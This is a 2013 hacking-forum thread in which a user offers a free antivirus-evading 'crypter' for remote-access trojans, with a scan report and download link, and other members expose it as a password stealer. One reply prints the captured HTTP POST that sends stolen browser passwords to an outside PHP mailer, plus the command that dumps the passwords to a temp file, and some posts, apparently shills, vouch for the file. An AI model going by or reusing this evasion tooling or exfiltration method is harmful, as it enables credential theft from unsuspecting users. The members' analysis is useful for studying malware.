

Forum:[Hack Forums](#)

Thread: [\(Infected\) \[FREE %100 FUD\] Heineiken Crypter \[FREE %100 FUD\]](#)

Dybeck - May 4, 2013, 3:11 am

Screen Capture:

[img]<http://img818.imageshack.us/img818/1170/qs9ngm.jpg>[/img]

Tested in Windows XP, vista and Seven With Blackshades Rat, Cybergate and Extreme

Scan:

RESULTS: 0/34

AVG Free -

ArcaVir -

Avast -

AntiVir (Avira) -

BitDefender -

VirusBuster -

Clam -

COMODO -

Dr.Web -

eTrust-Vet -

F-PROT -

F-Secure -

G Data -

IKARUS -

Kaspersky -

McAfee -

MS Essentials -

ESET NOD32 -

Norman -

Norton -

Panda -

A-Squared -

Quick Heal -

Solo -

Sophos -

Trend Micro -

VBA32 -

Zoner AntiVirus -

Ad-Aware -

BullGuard -

Immunet -

K7 Ultimate -

NANO -

VIPRE -

File Name crypted.exe
File Size: 233472
File MD5: 0d14d0a84319f374cad1cb7e2c1a6718
File SHA1: 660d5ce3a7eab864fb0c277a0fac5a7edb3d2dbf
Check Time: 2013-05-04 12:58:34

Scan report generated by
Scan4You.Net

Download Link: <http://www.sendspace.com/file/4vhc0z>

Varrock - May 4, 2013, 3:14 am

Looks Great! Can i have it please?

Please make the link Mediafire ;) , More trusted for all people!

"The Anonymous" - May 4, 2013, 3:16 am

Component 'CoolXPButton.ocs' or one of its dependencies not correctly refigtered: a file is missing or invalid - this error shows up. Any solutions?

zetaboy - May 4, 2013, 3:39 am

hmmm nice one which the beer icon

can you redo it again and check for the error

patriciorey - May 4, 2013, 3:47 am

I test and work perfect just need download the Ocx button for it work

tobi-demon - May 4, 2013, 5:05 am

thanks for shared it and nice icon really hahahaha

Luthor - May 4, 2013, 5:48 am

<https://gyazo.com/27e5007607c2dbf158b1a1c465dd2a11>

THIS FILE IS INFECTED. THAT PICTURE ABOVE IS PROOF. THE CRYPTER ITSELF MAKES A CONNECTION TO THE INTERNET.

Seth Rogen - May 4, 2013, 4:57 pm

The file IS infected as stated above.

For those who ran the file and/or think they are infected check out the [whitehat section here](#) for help in getting you uninfected.

Wellikillyou2 - May 4, 2013, 6:18 pm

its work with sandbox thanks for shared brother.

SnowShovel - May 4, 2013, 6:22 pm

Yeah, why would I download this. Obvious that it is infected.

Opal - May 4, 2013, 7:42 pm

thanks for shared bro. is clean for me

Bunker-D - May 5, 2013, 1:10 am

Thanks for the direct link, mate !

Really cool GUI^^
ein volk, ein reich, heineken
(couldn't resist, sorry for such a stupid joke)

JonathanZ - May 5, 2013, 2:22 am

Really cool GUI.nice work bro. thanks.

ProtectNull™ - May 5, 2013, 2:25 am

(May 4, 2013 05:48 AM)Luthor Wrote: [\[CITE\]](#)
<https://gyazo.com/27e5007607c2dbf158b1a1c465dd2a11>

THIS FILE IS INFECTED. THAT PICTURE ABOVE IS PROOF. THE CRYPTER ITSELF MAKES A CONNECTION TO THE INTERNET.

Its a backdoor RAT. Do not download. Download at own risk.

amar9888 - May 5, 2013, 2:30 am

file is infected with some malicious thing

semper fidelis - May 5, 2013, 4:15 am

(May 4, 2013 03:16 AM)"The Anonymous Wrote: [\[CITE\]](#) Component 'CoolXPButton.ocs' or one of its dependencies not correctly refigtered: a file is missing or invalid - this error shows up. Any solutions?yes it is an missing ocx component , i see some good registrators , here on the forum don't run it directly on your desktop because you will have a tons of new files on it

run it in a new folder :)

Hoster - May 5, 2013, 4:46 am

Downloading this now, looks great:D

Varrock - May 5, 2013, 5:25 am

Dude's , this shit is a Keylogger!

Do DIRECTLY SYSTEM RESTORE -+_

TheDarkComet - May 5, 2013, 6:59 am

LOl? This is backdorred, i would suggest to not download this!

Asteroids - May 5, 2013, 7:01 am

Won't be downloading until a trusted member vouches.

JonathanZ - May 5, 2013, 3:10 pm

Its clean for me i analize in my virtualbox and is safe.

varun_hbk - May 6, 2013, 1:47 am

if its infected then i wouldnt risk to download that file

Weezing - May 6, 2013, 1:52 am

Infected file. It's a RAT itself. Don't download. If you have already run it. Go to the whitehat section and find out how to remove it.

Knick0241 - May 6, 2013, 2:05 am

It's a RAT guys don't run it... Report him too

patriciorey - May 7, 2013, 1:10 am

thanks for shared it bro... but its is now 2/35

lol24 - May 7, 2013, 1:18 am

its clean for me too i analize but its no a rat just conection for stub... thanks for shared.

Silent hackerz - May 7, 2013, 10:49 pm

Its clean for me too. Thanks for shared.

Ch1m4zz - May 7, 2013, 11:48 pm

MALWARE!!! Its just a big malware don't download

tired- - May 8, 2013, 1:13 am

A 556KB crypter, FUD and for free, from a user with a little over 100 posts.

The most legit thing I've seen all day.

Schlumpf - May 8, 2013, 3:09 am

Don't ever download this guys. RAT!

Cybride - May 8, 2013, 4:03 am

Infected with a stealer.

Code POST /mp3/music/mailat.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: HTTP Client
Host: radiobellavista.cl
Content-Length: 251
Cache-Control: no-cache

to=ricardocacona@hotmail.com&cap=CrypLogger @ Tarayici Sifreleri [USERNAME @
COMPUTERNAME]&msg=**Coded By Ap0x | Ap0x@Hotmail.Com**

"Tarayici Sifreleri" is turkish and means "Browser Passwords"

This highly complex malware sending it's traffic in cleartext was developed by this guy..

<http://cryptr.org/Ap0x-Ragnar.exe>

Nice try Ricardo >.>

Silent hackerz - May 8, 2013, 11:44 am

Stealer?...

[IMG]http://sia1.subirimagenes.net/img/2013/05/09/mini_130509035417605397.jpg[/IMG]

DI?E - May 8, 2013, 11:54 am

I cant believe people are dumb enough to STILL download after the posts stating it is CLEARLY infected. Newbies. LOL!

Apskritas2222 - May 8, 2013, 7:00 pm

Thanks alor for shared its clean for me and work with x64 bits.

imposter johnson - May 8, 2013, 7:03 pm

(May 8, 2013 07:00 PM)Apskritas2222 Wrote: [\[CITE\]](#) Thanks alor for shared its clean for me and work with x64 bits.

Bro its infected. Did you read previous posts? Did you see any reputation on the distributor? Did you see their post count?

eXplorer.eXe - May 8, 2013, 8:43 pm

its clean for me too i thinks its a conection for spam crypter only

Im gone brah - May 9, 2013, 4:32 am

This looks just fucked, it's not even on "ENGLISH" -.-

Cybride - May 9, 2013, 4:46 am

(May 8, 2013 11:44 AM) Silent hackerz Wrote: [\[CITE\]](#) Stealer?...

[\[IMG\]http://sia1.subirimagenes.net/img/2013/05/09/mini_130509035417605397.jpg\[/IMG\]](#) Yes, stealer. It's using the php-mail script to send the stolen passwords to the 'hackers' mail-adress.

The crypter binary (Cerveja.exe) is dropping Nirsoft Webbrowserpassview http://www.nirsoft.net/utls/web_browser_password.html to dump the users passwords to a temp folder

The collected passwords get send to his mail-adress via a php-script as stated before.

Command Line:

[code]

C:\DOCUME~1\user\LOCALS~1\Temp\pass.exe /stext

C:\}DOCUME~1\user\LOCALS~1\Temp\pass.txt

[code]

It doesn't even delete itself afterwards.

[\[img\]http://s.gullipics.com/image/r/b/y/3wj7gi-kp0pdf-0k0u/proof.jpg\[/img\]](http://s.gullipics.com/image/r/b/y/3wj7gi-kp0pdf-0k0u/proof.jpg)

I guess all these positive comments are made by stolen accounts.
(or the people are just plain stupid)

Why is this thread not deleted yet?

patriciorey - May 10, 2013, 3:23 am

thanks for shared but its 2/35 now ;:ss

TheDarkComet - May 10, 2013, 3:36 am

(May 8, 2013 07:03 PM) coolkevkv Wrote: [\[CITE\]](#) Bro its infected. Did you read previous posts? Did you see any reputation on the distributor? Did you see their post count?
[0l, he just made a new account to say its clean, l0l0l0l0l0l0l0l0l0!

Could someone close this thread and ban this kid who posting infected shit.

Effexion - May 10, 2013, 3:39 am

I vouch this. It has awesome features. The way it constantly changes your desktop and closes windows can be annoying though.

Spoiler [\(Click to View\)](#)

GTFO!